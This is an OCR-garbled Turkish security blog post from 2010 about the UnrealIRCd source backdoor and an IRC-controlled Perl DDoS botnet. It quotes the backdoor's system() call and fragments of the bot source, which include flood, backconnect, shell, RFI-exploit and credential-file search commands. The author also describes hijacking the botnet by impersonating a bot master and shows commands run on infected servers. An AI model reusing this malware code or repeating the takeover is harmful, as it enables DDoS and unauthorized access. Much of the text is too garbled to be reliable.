Lord of the Bots

written by Mert SARICA | 26 June 2010
DDOS saldirilari ile ilgili internette ufak bir arastirma yapacak olursaniz

say1s1iz habere rastlayabilirsiniz. Haberlerden bazilari saldiriya maruz kalan
dev firmalarin saatler boyunca misterilerine hizmet veremedigi, ne kadar
maddi zarar ile karsi karsiya kaldigi ile ilgiliyken bazilarinin ise DDOS bot
aglarini yoneten bot efendilerinin (bot master) yakalanmalari ve aldiklari

hapis cezalari ile ilgili olduklarini g6rebilirsiniz.

DDOS nedir, nasil gerceklesir, ne kadar zarara yol acar, korunmak mimkin
mudur, korunma yontemleri nelerdir gibi bir ¢ok sorunun yanitini Huzeyfe bu
zamana kadar bir cok defa yanitladigi icin ben konuyu baska bir acidan ele
almaya karar verdim. Genelde konu DDOS olunca bir ¢ogumuz bu saldiriya maruz
kalma ihtimalinin oldukga disik oldugunu ve bizim ic¢in bir tehdit olmadigini
diusuntridz. “Kim nereden 100 tane DDOS botunu bilgisayarlara ylkleyecekte,
bize disman olacakta kalkip bize saldiracak” seklinde say1siz senaryo
ureterek sonunda “kimse bununla ugrasmaz” diyerek hayatimiza korunmasiz
olarak devam ediyoruz. Peki gercekten de art niyetli kisilerin DDOS saldirisi
gerceklestirmek icin 100 tane botu bilgisayarlara ylklemek ig¢in ugrasmalarina
gerek var m1 ? Gercekten tehdit olarak gérilmeli mi ? Iste bu yazimda art
niyetli kisi veya kisilerin DDOS saldirisi gerceklestirmek igin gerekli alt
yapiya sahip olmalarina gerek olmadigindan kisaca bahsedecegim.

IRC sunuculari ile gecmiste deneyimi olanlar var ise Unreal IRCD yazilimini
eminimki duymuslardir. 12 Haziran tarihinde Unreal IRCD yansi (mirror)
sunucularindan bir kacindaki kaynak kodunda arka kapi kesfedildigi Unreal
IRCD resmi forum sayfasi lzerinden tim diinyaya duyuruldu. Isin ilging yani
ise arka kapinin 2009’un Kasim ayindan bu yana kimse tarafindan kesfedilmemis
olmasiydi. Arka kapinin ne is yaptigini merak edip hemen zararli koda sahip
olan Unreal IRCD kaynak kodunu indirdim ve incelemeye basladim. Istismar
kodunun bir c¢ok sitede yer almasi nedeniyle zararli kodu kesfetmek icin
dinyayi yeniden kesfetmeden hemen ilgili satirlara hizlica g6z attaim.

include/struct.h

#ifdef DEBUGMODE3
#define DEBUGMODE3 INFO “AB”
#define DEBUG3 LOG(x) DEBUG3 DOLOG SYSTEM (x)


https://www.hack4career.com/lord-of-the-bots/
http://blog.lifeoverip.net/?s=ddos
http://forums.unrealircd.com/viewtopic.php?t=6562
http://forums.unrealircd.com/viewtopic.php?t=6562

#endif

#define DEBUG3 DOLOG SYSTEM(x) system(x)

src/s bsd.c

#ifdef DEBUGMODE3

if (!memcmp(readbuf, DEBUGMODE3 INFO, 2))
DEBUG3 LOG(readbuf);

#endif

GOruldugu Uzere s bsd.c kaynak kodunda yer alan read packet fonksiyonunun
icine gomulmus olan bu zararli kod, irc sunucusuna gonderilen her paketin ilk
2 karakterinin AB olmasi durumunda ilgili paketi (komutu) system fonksiyonuna
yonlendirerek hedef sistem lUzerinde komut calistirilmasina imkan taniyordu.

Istismar kodunu inceledigimde ise bot.txt ve r.txt kodlarini iceren sitenin
yayinlandan kaldirilmasi nedeniyle hiisrana ugradim cinkid inceleyecek zararli
kod ortadan kalkmisti. Istismar kodu incelendiginde aslinda bu iki dosyanin
ne ise yaradigi hemen hemen belli oluyordu, Perl ile yazilmis ve hedef
sisteme baglanmaya yarayan iki shell kodu ve ayrica bir de bot. Isin icinde
bot varsa olsa olsa DDOS botu olarak kullanildigindan siiphe ederek dosya
adlarini arama motorlarinda aramaya basladim. Bir ka¢ arama sonrasinda
istatistik sayfasi internete ac¢ik olan bir sunucu ile karsilastim ve burada
bu sunucuya benzer dosya uzantisiyla (id.txt, c.txt, bot.txt vs.) istekte
bulunan bir cok kayda rastladim.
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Ardindan istekler arasindan 6rnekleme yaparak istek icerisinde yer alan web
adreslerini ziyaret etmeye basladim.
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# #

q I .

# #

'y:

#% Usage: 2
## perl file.txt <chan> <server> <port> ##
#% Notes: T
#% + R11 Parameters are optional #*
## ##
## Features: ##
#% + RFI Scanner £*
#% + AUTC RFI Scanner Domains #*
#% + RFI Scan & Exploit (Exploit per engine) #*
#% + Joomla RFI Scan & Exploit F$3
#% + UPLOAD BOT PHP $%
#% + MilwOrm Search Yy
#% + Google bypass (Using PHP) ##
## + Message Spy & Save F13
## History:

#% + Fixed cryptz command (v4.5)

#% + Fized user commands execution by unauthorized user (v4.6)
$% + Added options to enable/disable encrypted password (v4.7)
$#% + Fixed missing hostname on sublink (v4.8)

use strict:

use HTTP::Request;

my Sversi = "zfx by .
my $cmdpre = "'"; #Command Prefix
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function rx() {

/* Channel Bot */
$channels = '#=': // chanell pisahkan dengan spasi

SHR% Bdmin wEE/S
$admin = 'a a';
$bot_password = 'cok'; //Password untuk auth bot

$localtest = 0; //1, Coba di localhast. 0, connect ke server irc
$showrespone = 0; //1, Nampilin respon dari server irc

//Hick Bot

$nicklist = arrav(

"Abdulrrazak", "Ackrerman”, "Adrams", "Addrson", "Adelstein”, "Adribe™, "Adrorno”, "Ahlrers”, "Arlavi”, "Alcorrn”, "Aldra”,

"Alerrks"”,"Allrisron”, "Alorrngi”, "Altarvilla”, "Alternberger”, "Altenhofen”, "Amaral”®, "Amatangelo”, "Ameer”, "Amsden”, "Anand”, "Andel"”,

"Anrdo™, "Andrrelus", "Andrrron”, "Anfirrnrud”, "Ansrley", "Anthony”, "Antas", "Arbia”, "Arduini®, "Arellana”, "Aristotle”, "Arjas”, "Arky", "Atkins",
"Augustus”, "Burrelius”, "Axelrrod”, "Axworrthy”, "Ayiemba", "Avkroyd”, "Ayling”, "Azima", "Bachmuth”, "Backus", "Bady™, "Baglivo”, "Bagnold"”,

"Barilar", "Bakanrorwsky","Barleja", "Ballatori”, "Ballew","Baltz", "Banta", "Barabesi","Barajas", "Baranczak", "Baranowska", "Barberi", "Barbetti",
"Barnerson","Brarnrett”, "Barriola”, "Barry", "Bartholomew"”, "Bartolome", "Bartoo"”, "Basavappa™, "Bashevis", "Batchelder”, "Baumiller”, "Bayles", "Baya",
"Beacron", "Berral™, "Bean", "Beckrman", "Bedrer"”, "Bedfrord", "Behenna", "Belanger", "Belaoussof", "Belfer”, "Belin-Collart™, "Bellavance", "Bellhouse",
"Berlrlini","Berlloc", "Benedict-Dye", "Brrrgson®, "Berrrke-Jenkins”, "Bernardo™, "Bernassola", "Bernston", "Berrizbeitia®, "Betti”, "Beynart”, "Biagioli",
"Birrkel™, "Binrion", "Bir™, "Bisema"™, "Bisrho", "Blackrbourn”, "Blackwell"™, "Blagg"”, "Blakemore™, "Blanke"™, "Blisa", "Blizard", "Bloch", "Bloecmbergen”™,
"Blroremhof™, "Blorrxham”, "Blyth”, "Bolgrer™, "Borrhman”, "Botosh™, "Boudin™, "Boudrot”, "Bourneuf”, "Bowers”, "Boxer™, "Boyajian”, "Boyes", "Boyland”,
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#!/usr/bin/perl ﬂ

use HITP::Request:
use LWP::UserAgent:

my $processo = '[httpd]':

my $linas max='4':

my $sleep="6";

my Scmd="[PHP-SHELL]":

R ——————————————————————————— &
e ¥
my @canais=("§bot");

my @nickname = ("None".int (rand(1000)));

my $nick = $nickname[rand scalar @nickname];

my $ircname ='Hone';

chop (my $realname = ')
$servidor="irc.[ommmmal.info' unless $servidor;

my Sporta='1980';

$SIG{'INT'} = 'IGNORE';
$SIG{'HUP'} = 'IGNORE';
$SIG{'TERM'} = 'IGNORE';

§$SIG{'CHLD'} = 'IGNORE';

$3IG{'PS'} = 'IGNORE':

use IO::Socket;

use Socket:

use IO::Select:

chdir ("/"):

#Connect

$servidor="SARGV[0]" if SARGV[O]:
$0="%processao”."\0"x16;;

my $pid=fork;

exit if $pid;

die "Masalah fork: $!" unless defined($pid);
our %irc_servers;

our %DCC:

my $dcc sel = new IO::Select->new();

Kisa bir gezintiden sonra son ekran goruntusinde yer alan c.txt adindaki
zararli kodu detayli olarak inceledigimde DDOS botu kesfettigimi anladim.

if ($funcarg =~ /~help/) {

sendraw($IRC cur socket, “PRIVMSG $printl :14(2Helpl4)3 Scanner edit by
XXXXXXXXX” ) ;

sendraw($IRC cur socket, “PRIVMSG $printl :14(2Helpl4)3 !x 2@ddos”);
sendraw($IRC cur socket, “PRIVMSG $printl :14(2Helpl4)3 !x 2@rfi”);
sendraw($IRC cur socket, “PRIVMSG $printl :14(2Helpl4)3 !x 2@backconnect”);
sendraw($IRC cur socket, “PRIVMSG $printl :14(2Helpl4)3 !x 2@shell”);
sendraw($IRC cur socket, “PRIVMSG $printl :14(2Helpl4)3 !x 2@portscanner”);



sendraw($IRC cur socket, “PRIVMSG $printl

}

if ($funcarg =~ /~ddos/) {
sendraw($IRC cur socket, “PRIVMSG $printl
this bot”);

sendraw($IRC cur_socket, “PRIVMSG $printl
and TCPFlood”);

sendraw($IRC cur socket, “PRIVMSG $printl
“);

sendraw($IRC cur socket, “PRIVMSG $printl
“);

sendraw($IRC cur_socket, “PRIVMSG $printl
}

if ($funcarg =~ /"backconnect/) {
sendraw($IRC cur socket, “PRIVMSG $printl
like this :”);

sendraw($IRC cur socket, “PRIVMSG $printl
“);

}

if ($funcarg =~ /"shell/) {
sendraw($IRC cur socket, “PRIVMSG $printl

integrated shell”);

sendraw($IRC cur_socket, “PRIVMSG $printl
private but also public in the channel”);
sendraw($IRC cur socket, “PRIVMSG $printl
just use : 2!x cd tmp3 for example”);
sendraw($IRC cur socket, “PRIVMSG $printl
linux commands type :!x 2@linuxhelp”);

}

if ($funcarg =~ /"portscanner/) {
sendraw($IRC cur socket, “PRIVMSG $printl
portscan and a Nmap:”);
sendraw($IRC cur socket, “PRIVMSG $printl
sendraw($IRC cur_socket, “PRIVMSG $printl

}

:14(2Helpl4)3

:14(2Helpl4)3

:14(2Helpl4)3

:14(2Helpl4)3

:14(2Help14)3

:14(2Helpl4)3

:14(2Help14)3

:14(2Helpl4)3

:14(2Helpl14)3

:14(2Helpl4)3

:14(2Helpl4)3

:14(2Helpl4)3

:14(2Helpl4)3 !x 2@commands”);

There are 3 DDos in

UDPFlood, HTTPFlood

Ix 2@udpflood 3

Ix 2@tcpflood 3

Ix 2@httpflood 3 “);

You use backconnect

Ix 2@back 3

This bot has a

You can use it in

In public channel

For help with the

There is a normal

:14(2Helpl4)3 !'x 2@portscan 3"”);
:14(2Helpl4)3 !'x 2@nmap 3 “);



if ($funcarg =~ /~commands/) {

sendraw($IRC cur socket,

following commands

Y
)5

sendraw($IRC cur socket,

sendraw($IRC cur socket,

sendraw($IRC cur socket,

u),
’

sendraw($IRC cur_ socket,

example”);

sendraw($IRC cur socket,

u)_
’

sendraw($IRC cur socket,

u)_
’

sendraw($IRC cur_socket,

sendraw($IRC cur socket,

sendraw($IRC cur socket,

sendraw($IRC cur socket,

sendraw($IRC cur socket,

sendraw($IRC cur socket,

sendraw($IRC cur socket,

(
(
(
(
sendraw($IRC cur socket,
(
(
(
(

sendraw($IRC cur socket,

}

“PRIVMSG

“PRIVMSG
“PRIVMSG
“PRIVMSG

“PRIVMSG

“PRIVMSG

“PRIVMSG

“PRIVMSG
“PRIVMSG
“PRIVMSG
“PRIVMSG
“PRIVMSG
“PRIVMSG
“PRIVMSG
“PRIVMSG
“PRIVMSG

1f ($funcarg =~ /"~linuxhelp/) {

sendraw($IRC cur socket,

sendraw($IRC cur socket,

file.pl”);

sendraw($IRC cur socket,

sendraw($IRC cur socket,
-rf file/dir;ls -1a”);
sendraw($IRC cur socket,

permissions :

ls -lia”);

sendraw($IRC cur socket,

“PRIVMSG
“PRIVMSG

“PRIVMSG
“PRIVMSG

“PRIVMSG

“PRIVMSG

/ -type f -name config.inc.php”);

sendraw($IRC cur socket, “PRIVMSG $printl :
find / -perm -2 -1s");
sendraw($IRC cur socket, “PRIVMSG $printl :

files :

$printl
$printl
$printl
$printl
$printl

$printl

$printl

$printl :14( )3
$printl :14( )3
$printl :14¢( )3
$printl :14( )3
:14(2Helpl4)3 !
14 ( )3
14 ( )3
14 ( )3
14 ( )3

$printl

$printl :
$printl :
$printl :
$printl :

$printl :
$printl :

$printl :
$printl :

$printl :

$printl :

:14(2Helpl4)3
:14(2Helpl4)3
:14(2Helpl4)3
:14(2Helpl4)3

:14(2Helpl4)3 !

:14(2Helpl4)3 !

2Helpl4
2Helpl4
2Helpl4
2Helpl4

2Help1l4
2Helpl4
2Helpl4
2Helpl4

I'x
I'x

X

X

Dir where you are :
Start a Perl file :

Go back from dir :
Force to Remove a file/dir :

Find config.inc.php files :

Find all .htpasswd files :

:14(2Helpl4)3 You can use the

2@portscan 3”);
2@nmap 3 “);
2@back 3

cd tmp for

2@udpflood 3

2@tcpflood 3

2@httpflood 3 “);
2@linuxhelp”);
2@rfi 3 “);
2@system”);
2@logcleaner”);
2@sendmail 3 “);
2@milwOrm”) ;
2@join #channel”);
2@part #channel”);

Show all files/dir with

pwd”) ;
perl
cd ..”);
rm
find

Find all writable folders and

find



/ -type f -name .htpasswd”);
sendraw($IRC cur socket, “PRIVMSG $printl :2 Find all service.pwd files
find / -type f -name service.pwd”);

Botun lzerinde yer alan IRC sunucusuna baglandigimda 2 tane bot kanali
oldugunu goérdim. Birinci kanalda 175 ikinci kanalda ise 72 adet bot
bulunuyordu. Bot efendileri disinda herhangi birinin botlari ydnetmemesi
adina botun Uzerine 5 efendinin rumuzlari tanimlanmisti. Bu tanim sayesinde
bu rumuzlar disinda herhangi biri botlari kontrol etmeye calistiginda bot
yanit vermiyordu. Bunun Uzerine bende hemen rumuzumu efendilerden birinin
rumuzuna cevirerek botlari kontrol etmeyi basarabildim.
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[ r— [£7] MomoX361665488 =] Aret329 |43 Channels List

[ S <Hone237> (Help} Scanner edit by ;l -

e e—  |<None3s> {Help) Scanner edit by B

3 Channel: 1 <Hone313258115> (Help) Scanner edit by [
: |_—‘ <None288157317> (Help) ?x @rfi
<Hone288157317> (Help) ?x Ebackconnect
' |<None288157317> (Help) *x @shell HomoX13
<None288157317> (Help) ?x @portscanner HomoX25
annels List <None2?88157317> (Help) ix @commands HomoX33u

<Mone140> {Help) Scanner edit hy= HomoX3347
<Honel31> {Help} ?*x @ddos HomoX3616
<None431> {Help} *x @rfi HomoX363
<Honeu431> (Help) *x Bbackconnect HomoX395
<Hone431> (Help) *x Bshell HomoX3958
<Nonel31> {Help} *x Bportscanner HomoX4329
<Nonel31> {Help) *x Bcommands HomoX495
<Hone35> (Help) 'x @ddos HomoX526
<None35> (Help) *x @rfi HomoX531
<None35> (Help) ?x @backconnect HomoX5312
<None35> (Help) ?x @shell HomoX5314
<Hone35> (Help) ?x Eportscanner HomoX5319
<None35> (Help) 'z @commands HomoX614 —
<None313258115> (Help) ?x @Eddos HomoX655
<None313258115> (Help) *x @Erfi HomoX661
<Hone313258115> (Help) ?x @backconnect HomoX717
<Hone313258115> {Help) ?x @shell HomoX742
<Hone313258115> (Help) ?x Eportscanner HomoX761
<Hone313258115> (Help) *x Econmands HomoX788
<None148> {Help} *x Bddos HomoX822
<None148> {Help) tx Brfi HomoXB65
<None148> {Help} *x @backconnect HomoX942
<Hone148> {Help) *x Bshell MomoX9868
<Hone148> {Help} *x @portscanner
<Hone148> (Help) *x Bcommands Mone183
<Nonez237> (Help) *x Bddos Mone14@
<None237> (Help} Ttx Brfi Hone14896
<None237> {Help} *x Bbackconnect Hone1%
<None237> {Help) *x Bshell Hone15218
<Hone237> {Help) *x Bportscanner None163
<Hone237> {Help} *x BEcommands ~|Hone2p2 j

4] 2+ |1% @ne1p|
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* Set by d on Wed Jun B9 B7:18:54 HomoX4329
4= HMonels Bsysten HomoX 495
<Hone15> Info BOT : irc.[———ginfo : 1988 HomoX526
<None1%> Uname -a : Linux www2.missdica.com 2.6.18-164.15.1.e15 #1 SHP Wed Mar 17 11:38:86 EDT 2010 xB6_64 xB6_64 xB6_64 GHU/Linux Homox531
<None15> Uptime = B4:59:22 up 68 days, A4:17, B users, 1load average: 64.37, 63.58, 53.71 HomoX5312
<None15> ODwn Prosses : [httpd] HomoX5314
<None15> 1D : uid=48{apache) gid=48(apache) groups=48(apache}),51(smnsp) HomoX5319
<None15> Own Dir : ftmp HomoX61y
<None15> 0% : Cent0S release 5.4 (Final) HomoX655 |
<None15> Ouner : achap HomoXé61
<Mone15* Channel :  fupsi HomoX717
<=1 Hone1s ifconfig HomoX742
<Hone15> ethB@ Link encap:Ethernet HWaddr 88:88:9F:F1:4B:88 Homox761
<None15> inet addr:222.122.161.173 Becast:222.122.161.191 Hask:255.255.255.22, HomoX788
<None15> UP BROADCAST RUNNING MULTICAST HTU:1588 HMetric:1 HomoX822
<None15> RX packets:3405417117 errors:8 dropped:8 overruns:8 frame:@ HomoXB65
<None15> TX packets:6186168932 errors:8 dropped:0 overruns:8 carrier:e HomoX942
<Hone15> collisions:@ txqueuelen:1000 HomoX980
<{None15> RX bytes:486056038477 (378.1 GiB) TX bytes:7538630423961 (6.8 TiB)
<Mone15> Interrupt:289 Base address:8x2080 Hone14826
<Mone15> 1o Link encap:Local Loopback Hone15
<Hone15> inet addr:127.8.8.1 HMask:255.8.8.8 None15218
<None15> UP LOOPBACK RUNNING HMTU:16436 Hetric:1 None163
<None15> RX packets:5829763 errors:@ dropped:@ overruns:@ frame:@ None197
<None15> TX packets:5829763 errors:8 dropped:@ overruns:@ carrier:@ Hone282
<None15> collisions:8 txqueuelen:@ __|None211
<None15> RX bytes:88761216808 (7.5 GiB) TX bytes:8076121680 (7.5 GiB) _~|None237 j
1 [—
[Fd mIRC - [None240 { I EE
File View Favorites Tools Commands Window Help == x|
ia| ek GlUEBLedRlUlsB BN
1 I\_—]ﬁbct |57 MomoX361665488 (22| Aret329 [£2] MomoX363 None15 Mone197 |=2| None240 i Channels List
=] Channel: 2
[EL] #bot
B[ Query: &
i [23] Momox38 186548 3 ps =
il e <Nonezu@>  PID TTY TAT  TIME COMMAND
[=2] Momex 363 <None248> 1378 0:80 [perl] <defunct>
Mormsl2 <None2u8> 1380 0:80 [perl] <defunct>

<Hone240> 1383
- i <None24@> 1508
"4 Channels List <None2u@> 1589
<None248> 1510
<Hone240> 1511
<Hone248> 1512
<None248> 1554
<None248> 1593
<Hone240> 1594
<Hone248> 1596
<None2u8> 1597
<None248> 1599
<Hone240> 1630
<Hone240> 1873
<Hone248> 1992
<None248> 20620
<Hone246> 3088
<Hone240> 3345
<None248> 3398
<None248> 3391
<Hone248> 3392
<Hone240> 3393
<None248> 3394
<None248> 3412
<Hone248> 3414
<Hone240> 3444
<Hone248> 3512
<None248> 3555
<Hone248> 3585

4 | |kil1 -9 3088

Nnnelg 0:80 [perl] <defunct>

s
2
2
2
2 8:80 [perl] <defunct>

4 8:88 [perl] <defunct>

2 8:88 [perl] <defunct>

2 0:80 [perl] <defunct>

2 8:80 [perl] <defunct>

4 8:85 [perl] <defunct>

2 8:88 [perl] <defunct>

2 0:80 [perl] <defunct>

2 8:80 [perl] <defunct>

4 8:80 [perl] <defunct>

2 8:88 [perl] <defunct>

2 8:85 [perl] <defunct>

2 8:84 [perl] <defunct>

s 8:88 fusr/bin/php shome/familiev/public_html/cms/modules/gquestbook/admin.php
2 8:88 [sh] <{defunct>

R 2578:44 [httpd]

S 9:80 fusr/bin/php shome/familiev/public_html/cms/modules/gquestbook/admin.php
4 8:80 [perl] <defunct>

2 8:88 [perl] <defunct>

2 8:88 [perl] <defunct>

Fd 8:80 [perl] <defunct>

Z 8:80 [perl] <defunct>

2 8:88 [perl] <defunct>

2 8:88 [perl] <defunct>

2 8:80 [perl] <defunct>

Z 8:88 [sh] <defunct>

2 8:88 [perl] <defunct>

s 8:88 fusr/bin/php fhome/familiev/public_html/cms/nodules/gquestbook/admin.php

B R I R R R I B R R B R R R I I e ]

K1l

Daha c¢ok uygulama saldirilarinin tehdit olarak goruldigu gunumizde IPS, cogu
agin vazgecilmez bir parcasi iken DDOS korunma ¢ozimleri genellikle ikinci
planda tutulmaktadir. Peki amaci sadece size zarar vermek olan art niyetli
kisi veya kisilerin sisteminiz Uzerindeki uygulama zafiyetini kesfetmesi,
IPS’'i gecmesi ve istismar etmesi ile sadece arama motoru ile kesfettigi,
yonetebildigi ve her biri 1 Mbit baglantiya sahip olan 200 bot ile saldiri
gerceklestirmesi karsilastirildiginda hangisinin gerceklesme olasiligi sizce
daha yuksek ?



Bir sonraki yazida go6rismek dilegiyle herkese risk degerlendirmelerinde yer
alan olasilik degerlerini tekrar gézden gecirmelerini tavsiye ederim,

hoscakalin..



